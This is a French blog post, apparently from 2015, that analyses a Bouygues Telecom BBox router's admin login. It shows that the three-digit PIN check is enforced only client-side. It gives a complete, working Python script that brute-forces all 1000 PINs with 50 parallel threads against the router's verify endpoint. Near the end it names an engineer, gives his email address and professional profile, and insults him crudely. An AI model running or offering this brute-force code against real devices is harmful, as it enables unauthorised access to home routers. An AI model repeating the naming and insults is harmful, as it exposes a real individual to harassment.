Juin 2015, mise à jour du firmware de ma BBox par Bouygues Telecom.

Les paramètres du pare-feu ont été conservés mais j'ai besoin toutefois d'accéder à l'interface d'administration ne serait-ce que pour rebooter régulièrement. Et là :

Les "opérateurs" tiennent vraiment à systématiquement réinitialiser les identifiants de l'interface d'administration de leurs box. Pourtant c'est un problème de sécurité majeur (surtout sur des systèmes sont mal conçus). En effet, si quelqu'un est sur le réseau avant la mise à jour, la réinitialisation sera une aubaine si le propriétaire avait déjà mis ses propres identifiants pour bloquer l'accès. Nous allons en voir la démonstration.

On pourra citer Orange en 2015 qui réinitialise le mot de passe avec... les 8 premiers caractères de la clé wifi par défaut... Pourtant si vous êtes sur le réseau c'est que vous avez la clé wifi non ?

On citera encore Orange en 2011 qui réinitialisait les identifiants avec admin/admin

Source : Korben.

On citera encore Orange dans les années 200x qui laissait le mot de passe de l'interface bluetooth à '0000'...

Brillant.

Je tombe donc sur un formulaire me demandant les 3 derniers chiffres du numéro de série de la machine. Quelques essais me permettent de supposer que les essais ne sont pas limités puis-qu’aucun message ne m'indique d'erreur en cas d'échec.

Sommaire:

Analyse réseau

Comme d'habitude, j'utilise Wireshark pour analyser le trafic réseau.

4 requêtes sont faites à chaque essai. Ceci est déjà curieux en soit pour valider un formulaire puisqu'on s'attend à n'avoir qu'une seule requête HTTP POST et le HTTP GET du retour. Ici nous avons :

  • PUT => validation du formulaire
  • POST => envoi des données sur une page de vérification
  • GET => retour des données de validation au format JSON
  • GET => retour de l'état de validation de la part de la page de vérification. Les retours sont obtenus dans l'ordre de l'envoi bien que rien ne le garantisse.

On voit tout de suite que la gestion de l'interface est découplée de la gestion de l'authentification. Derrière nous avons le Dieu Usine à gaz JQuery qui fait lui même la requête POST. L'utilisateur ne fait sciemment que la première requête PUT et ce n'est que la réponse à cette première requête qui l'informe de ses droits. La 2ième valide le code.

Regardons le contenu du retour en JSON:

=> 13 essais 1320 secondes d'attente. Pourtant rien sur la page ne m'indique cela :o

Jetons un coup d'oeil au code HTML de la page (=> Ctrl+U sur tout bon navigateur).

Nous voyons 5 grands blocs indépendants:

  • Rouge : Première connexion => nous sommes là.
  • Bleu : Choix d'un nouveau mot de passe.
  • Vert : Login cours de vie.
  • Jaune : Internet OK.
  • Rose : Internet NOK.

Les sections 2 et 3 sont en réalité masquées grâce à la modification dynamique des attributs CSS depuis un code Javascript. On notera qu'à l'origine, le développeur avait conçu son script pour accepter 4 chiffres et non 3. Ça a dû lui paraitre trop sécurisé et il s'est ravisé...

Firefox et d'autres navigateurs permettent de modifier à chaud les attributs CSS de n'importe quel élément html. Ici c'est "display: none" que j'ai changé à "display:block" pour dévoiler les 2 zones cachées:

On voit que les informations concernant le nombre de tentatives et la durée du blocage (retournées via JSON) n'apparaissent que dans la 3ième section ("Login cours de vie" en vert). En clair: les essais infructueux de la première étape ne sont visibles que dans une partie de l'interface qui est alors masquée.

Si ça n'avait qu'une influence purement graphique ça irait, mais le temps d'attente est valable quand même ! Donc si l'utilisateur se trompe, rien ne lui indique que c'est le cas et qu'il doit attendre. Brillant encore une fois. Mais ce n'est pas tout.

______________

La validation du PIN

La page qui valide le code pin (http://192.168.1.254/api/v1/pincode/verify) est indépendante de l'interface... Nous avons bien une conception MVC (modèle vue contrôleur), mais le contrôleur peut directement être appelé par l'utilisateur sans passer par la vue :p

Le Javascript permet d'avoir des pages dynamiques qui ne nécessitent pas de rechargement lorsque l'utilisateur poste des données. On arrive donc à ce genre de dérives complètement débiles : 2 contrôleurs indépendants, un gérant l'affichage des erreurs et un gérant la validation du code.

Bon... ça passerait si... le temps d'attente renvoyé par 'http://192.168.1.254/api/v1/login' était effectif sur 'http://192.168.1.254/api/v1/pincode/verify'. Mais évidemment non ! Les 2 pages sont indépendantes ! Donc le contrôleur ne contrôle rien du tout ! ni les entrées utilisateur, ni la provenance des données, ni les échecs passés. Tout est vérifié coté client par l'interface réalisée en Javascript. Le code PHP derrière ne fait absolument aucune vérification utile.

La première chose que l'on apprend quand on commence à coder pour des utilisateurs est qu'ils peuvent entrer n'importe quoi dans un programme. Un programme quel qu'il soit ne doit jamais faire confiance aux entrées de l'utilisateur ! Même un message de debug au cours d'un plantage peut informer quelqu'un de malintentionné sur le code interne !


À partir de là c'est open bar ! La page nous demande bien 3 chiffres, soit 10^3 combinaisons (101010) => 1000 tests.

1000 tests à faire à la main est inhumain ? Demandons donc à notre Python de le faire !

Le code utilisé :

Il bruteforce la page en générant tous les nombres de 000 à 999. Nous savons d'après la capture précédente que le code d'erreur HTTP retourné en cas d'échec d'authentification est 401. Dès que mon script aura un retour différent de 401 il gardera donc en mémoire le pin qui en est responsable. Notons que le script ne s'arrête pas quand il a trouvé un pin valide => on ne sait jamais la culture du backdoor est toujours présente chez les opérateurs il pourrait y avoir plusieurs bonnes réponses... Bon et puis attendre est une perte de temps, on lance donc 50 requêtes d'authentification en même temps sur la box en multithreading (aussi parceque ça pourrait être marrant de voir la box crasher).

Note: Le multiprocessing n'est pas utile ici car ce qui bloque le programme n'est pas la puissance des processeurs de la machine mais la latence du réseau (I/O). Nous n'avons besoin que d'un système de callbacks qui informe le thread principal quand une tâche est terminée.)

Lire le très bon tuto de Sam & Max à ce sujet.

Code:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import urllib3
import time

def http_query(url, params, method='POST'):
    http = urllib3.PoolManager()

    head = {
        "Referer": "http://192.168.1.254/installation.html",
        #"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0",
        "User-Agent": "Bite_a_dudulle/1.0", # marche aussi avec "i_love_moussouni"
        "Accept-Language": "fr-FR,en-US;q=0.7,en;q=0.3",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive",
    }

    if method == 'POST':
        req = http.request(method,
                        url,
                        params,
                        headers=head,
                        encode_multipart=False)

    return True if (req.status != 401) else False


# HTTP Query
# POST /api/v1/pincode/verify HTTP/1.1\r\n
# pincode=123
url     = 'http://192.168.1.254/api/v1/pincode/verify'

# à décommenter pour tester 1 pin
#params  = {
#    'pincode':'290',
#}
#
#result = http_query(url, params, 'POST')
#exit()

ts1 = time.time()
# On génère les 1000 combinaisons comme l'IHM nous le demande <3
g = ('{num:03d}'.format(num=i) for i in range(0,1000)) # jusqu'à 999 compris

from concurrent.futures import ThreadPoolExecutor, as_completed

# Threads pour l'asynchrone
# 50 threads dans le fion sans timeout <3
with ThreadPoolExecutor(max_workers=50) as e:

    futures_and_output = {e.submit(http_query,
                                    url,
                                    {'pincode' : job_name}
                                ):job_name \
                        for job_name in g}

nb_errors   = 0
nb_done     = 0
good_pin    = list()
for future in as_completed(futures_and_output):

    job_name = futures_and_output[future]

    # On affiche les résultats si les futures en contiennent.
    # Si elles contiennent une exception, on affiche l'exception.
    if future.exception() is not None:
        print("{} generated an exception: \n{}".format(
                            job_name,
                            future.exception()))
        nb_errors += 1
    else:
        # The end
        print("{}... \t\t[Done]".format(job_name))

        if future.result():
            good_pin.append(job_name)

        nb_done += 1

print("\nEnding: {} errors, {} done\nbye.".format(
                            nb_errors,
                            nb_done))
print("Good pin list:\n", good_pin)
print("(in {}s)".format(time.time() - ts1))

Résultat

Il m'aura fallu 140 secondes pour faire sauter cette protection ridicule (et encore c'est long car comme prévu, la box a eu du mal à répondre).

Notons qu'évidemment, lorsqu'on interroge directement 'http://192.168.1.254/api/v1/pincode/verify' sans passer par la page légitime, le compteur d'erreurs n'est pas incrémenté ! En fin de compte l'utilisateur légitime est la seule personne gênée...

(Une tentative de reset de mot de passe m'indique 20 erreurs dues à mes tests manuels ; or à cet instant j'ai déjà bruteforcé les 1000 combinaisons et accédé à la page d'administration)

Comme dit précédemment, le bon pin a généré un code de retour HTTP 200 (flèches rouges), différent de 401 (flèches vertes):

Ne nous arrêtons pas là. Cette interface est dégueulasse mais il y a plus préoccupant.

______________

Un comportement mystérieux...

Juste après la mise à jour, mes pages internet se sont mises à m'afficher de manière "aléatoire", la jolie petite page d'authentification. Exemple sur un tchat de forum:

C'est drôle parce-que si cette insertion avait été faite en lieu et place d'une publicité lors du rechargement de la page, j'aurais pu éventuellement considérer ce spam comme "normal" (une basique redirection). Sauf que là.. Sur la page légitime il n'y a rien !

Comparons le code html des 2 pages (légitime en haut, modifiée en bas):

On voit donc une insertion de code html/javascript plus tout le bordel en plein milieu d'une page web saine. Si on-y regarde de plus près, on voit que l'insertion est ciblée juste après une balise de titre <h3></h3> ! J'ai retrouvé ce comportement sur d'autres pages. Ceci est particulièrement inquiétant car c'est probablement une preuve que la box est capable d'insérer et d'exécuter du code de manière ciblée (intelligente) sur des pages web consultées !

Ce genre de manipulation de la part d'un opérateur par l'intermédiaire de sa MerdeBox est inqualifiable. Je n'ai malheureusement pas eu le temps de faire plus de tests, car une fois mon code pin validé, la MerdeBox s'est remise en sommeil.

______________

Une interface responsive ?

L'interface de la BBox prétend être "responsive" c'est à dire codée avec les nouvelles normes HTML5 / CSS3, pour garantir une compatibilité sur tous les navigateurs et toutes les plateformes. Bien. Analysons le code en le donnant à manger aux validateurs du W3C: Le html:

Des balises HTML5 dans du HTML4, des balises inventées, mal refermées... => le stagiaire de 3ième a fait le travail du stagiaire de CM2.

Coté CSS:

La feuille de style fait plus de 6000 lignes ! Il y a des règles pour l'affichage de la moindre virgule... Brillant. Le navigateur passe presque plus de temps sur le rendu CSS que sur le chargement de la page :D

La page d'administration est plus propre mais pas pour autant exempt d'erreurs...

______________

Souriez Google est chez vous :)

Ajout de dernière minute. Les développeurs ont également jugé que votre vie privée ne vous appartenait pas alors ils ont intégré GoogleAnalytics sur leur interface d'administration pour savoir où vous cliquez, quand vous cliquez et établir votre profil d'utilisation :).

______________

Conclusion

  • Utilisateur non mis au courant de l'influence de ses échecs sur la période d'attente entre 2 essais,
  • Interface pire que mal conçue,
  • Réinitialisation des identifiants complètement débile,
  • Un trojan potentiel.

Nous retrouvons un nom dans le code JavaScript responsable de cette perle de la technologie française. => Stephane Carrez stcarrez@bouyguestelecom.fr

Rdv sur son Viadeo:

Allez on fait coucou à l'ingé Bouygues telecom qui code avec le cul, avec ses 17 ans d'expérience et sa phote d'orthographe sur sa page professionnelle...

En résumé:

  • Ne vous faites pas trop de soucis, car ces gens là ont du boulot, et vous pouvez forcément faire mieux.
  • Chez Bouygues on corrige les failles 5 ans après pour les remplacer par de nouvelles.
  • Chez Orange on ne fait rien :p

Note: On pourrait penser que ces gens ne sont pas au courant de la qualité déplorable de leurs box; mais c'est faux ! En effet, on les croise par exemple sur crack-wifi.com, notamment sur un topic très critique quant à la politique de sécurisation des BBox À leur décharge, les contraintes de temps qui leur sont probablement imposées sont telles qu'ils ne peuvent faire que de la daube ; avec la bénédiction de l'opérateur.

À bon entendeur, salut !